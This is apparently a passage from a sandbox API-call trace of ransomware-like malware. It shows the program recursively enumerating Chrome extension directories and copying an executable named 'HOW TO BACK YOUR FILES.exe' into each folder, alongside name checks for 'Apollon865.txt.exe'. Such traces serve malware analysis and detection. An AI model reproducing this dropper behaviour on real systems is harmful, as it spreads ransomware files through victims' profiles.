	[0048.741] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af"
	[0048.741] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.741] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.745] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35203b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35203b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.745] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.745] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.745] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap"
	[0048.745] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap"
	[0048.745] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.750] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.750] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35203b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35203b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.750] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.750] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.750] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0"
	[0048.750] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0"
	[0048.750] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.750] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.756] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.756] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35229cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35229cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.756] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.756] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.757] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata"
	[0048.757] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata"
	[0048.757] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.757] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.762] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35229cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35229cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.763] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.763] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.763] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales"
	[0048.763] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales"
	[0048.763] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.763] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.769] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.769] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35229cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35229cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.769] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.769] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.770] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW"
	[0048.770] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW"
	[0048.770] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.770] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.774] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.774] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3524fe30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3524fe30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.774] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.774] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.775] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN"
	[0048.775] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN"
	[0048.775] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.775] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.779] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.779] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3524fe30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3524fe30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.779] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.779] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.779] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi"
	[0048.779] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi"
	[0048.779] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.780] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.783] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3524fe30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3524fe30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.784] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.784] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.784] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk"
	[0048.784] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk"
	[0048.784] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.798] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.798] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35275f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35275f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.799] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
